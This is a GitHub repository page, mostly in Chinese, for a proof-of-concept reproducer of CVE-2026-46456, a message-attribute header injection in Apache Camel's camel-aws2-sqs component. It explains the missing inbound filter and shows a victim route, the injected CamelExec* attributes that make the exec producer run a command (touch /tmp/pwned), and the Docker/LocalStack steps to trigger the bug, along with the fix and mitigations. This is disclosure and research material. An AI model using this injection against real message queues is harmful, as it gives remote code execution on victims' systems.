oscerd/CVE-2026-46456
GitHub: oscerd/CVE-2026-46456
这是一个复现 Apache Camel camel-aws2-sqs 入站消息属性标头注入漏洞(CVE-2026-46456)的安全研究项目,演示了攻击者如何通过注入 Camel 控制标头操纵下游 producer 实现远程代码执行。
Stars: 0 | Forks: 0
# camel-aws2-sqs 入站消息属性标头注入复现程序 (CVE-2026-46456)
本项目演示了 Apache Camel 的 `camel-aws2-sqs` 组件中的一个**消息标头注入**漏洞,追踪编号为
**CVE-2026-46456**。`Sqs2HeaderFilterStrategy` 仅配置了**出站**过滤器 (`setOutFilterPattern`,
该过滤器会阻止 `Camel*` / `breadcrumbId` / `org.apache.camel.*` 被写入 broker),但**没有入站过滤器**。
因此,当 `Sqs2Consumer` 通过
`HeaderFilterStrategy.applyFilterToExternalHeaders` 将每个 SQS 消息属性复制到 Exchange 时,默认策略不应用任何入站规则,并
将每个标头名称视为*未被过滤*——包括 Camel 控制标头,如 `CamelHttpUri`、`CamelFileName`、
`CamelSqlQuery`(或者像这里的 `camel-exec` 控制标头)——将它们原封不动地复制到 Camel 消息上。
因此,任何能够向被消费队列发送消息的主体(`sqs:SendMessage`,包括跨账户或低权限的
发送者)都可以注入任意的 Camel 控制标头,从而操纵下游的 producer。
安全公告:
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-aws2-sqs` |
| **受影响的类** | `org.apache.camel.component.aws2.sqs.Sqs2HeaderFilterStrategy` (无入站过滤器) / `Sqs2Consumer` |
| **CWE** | CWE-20: 不当的输入验证 |
| **影响** | 消息发送者注入 Camel 控制标头 → 操纵下游的 producer(此处为通过 exec 实现 RCE) |
| **受影响的版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| **已修复的版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23506 |
| **报告者** | Yu Bao (PayPal) |
## 技术细节
```
// Sqs2HeaderFilterStrategy - affected 4.18.2 (outbound filter only)
setOutFilterPattern("(breadcrumbId|Camel|org\\.apache\\.camel)[\\.|a-z|A-z|0-9]*");
// ... no setInFilterStartsWith(...)
// Sqs2Consumer - maps each inbound message attribute; nothing filters inbound Camel* names
for (Map.Entry entry : msg.messageAttributes().entrySet()) {
String header = entry.getKey();
Object value = Sqs2MessageHelper.fromMessageAttributeValue(entry.getValue());
if (!headerFilterStrategy.applyFilterToExternalHeaders(header, value, exchange)) {
message.setHeader(header, value); // <-- Camel control headers pass through
}
}
```
修复程序 (4.14.8 / 4.18.3 / 4.21.0) 在
`Sqs2HeaderFilterStrategy` 中添加了 `setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH)`,在入站映射时以不区分大小写的方式过滤 `Camel*` / `camel*`。
## 受害者路由
```
from("aws2-sqs://cve?amazonSQSClient=#sqsClient&autoCreateQueue=true&messageAttributeNames=All&deleteAfterRead=true")
.to("exec:echo?args=hello"); // route author only intends to run: echo hello
```
(`messageAttributeNames=All` 正是让消费者读取属性的原因——这正是该
注入产生影响的配置。)攻击者发送一条带有属性 `CamelExecCommandExecutable: /usr/bin/touch` 和
`CamelExecCommandArgs: /tmp/pwned` 的消息;消费者将它们映射到 Exchange 上,然后 exec producer 执行它们。
## 仓库布局
**受害者**是 Camel 路由;**攻击者**是任何拥有 `sqs:SendMessage` 权限的发送者。复现程序通过 LocalStack 在 Docker 中运行 SQS。
```
CVE-2026-46456/
├── pom.xml # camel-aws2-sqs + camel-exec 4.18.2 + aws-sdk sqs 2.41.28
├── Dockerfile
├── docker-compose.yml # LocalStack (SQS) + the reproducer app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── SqsConfig.java # SqsClient bean pointed at LocalStack
│ ├── VictimRoute.java # aws2-sqs consumer -> exec:echo
│ └── ExploitController.java # attacker: SendMessage with CamelExec* attributes
└── resources/
└── application.properties
```
## 前置条件
- Java 17+ 和 Maven 3.8+
- Docker(用于运行 LocalStack 和应用程序)
## 复现步骤
### 步骤 1:构建并启动所有内容
```
mvn clean package -DskipTests
docker compose up -d --build
```
### 步骤 2:触发标头注入 (RCE)
```
curl -s http://localhost:8080/exploit/attack
# 已向队列 'cve' 发送了一条 SQS 消息,带有消息属性 {CamelExecCommandExecutable, CamelExecCommandArgs}。
# camel-aws2-sqs consumer 将它们映射到了 Exchange 上;exec producer 运行了该命令。
# # >>> RCE 证明 — /tmp/pwned 存在:true
```
### 步骤 3:验证
```
docker exec cve-2026-46456 ls -la /tmp/pwned
```
### 清理
```
docker compose down
```
## 攻击向量
任何具有 camel-aws2-sqs consumer 且导向下游 producer 的路由,只要该 producer 的行为是由 Camel
标头控制的——HTTP (`CamelHttpUri`)、file (`CamelFileName`)、SQL (`CamelSqlQuery`)、exec (`CamelExecCommand*`) 等。
任何在被消费队列上拥有 `sqs:SendMessage` 权限的主体都可以注入它们。
## 利用条件
1. 在受影响版本上的 camel-aws2-sqs consumer 会读取消息属性,并被路由到
标头可控的 producer。
2. 攻击者可以向被消费队列发送消息 (`sqs:SendMessage`)。
## 推荐修复方案
升级到 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23506),该版本向
`Sqs2HeaderFilterStrategy` 添加了入站 `Camel*` 过滤器。
## 缓解措施
在升级之前:
1. 在路由开始时剥离 Camel 控制标头:`.removeHeaders("Camel*")` 和
`.removeHeaders("camel*")`。
2. 通过在队列资源策略上使用最小权限的 `sqs:SendMessage` 来限制谁可以向被消费的队列发送消息。
## 免责声明
本复现程序仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, AWS SQS, JS文件枚举, PoC, Web报告查看器, 域名枚举, 暴力破解, 消息头注入, 漏洞复现, 请求拦截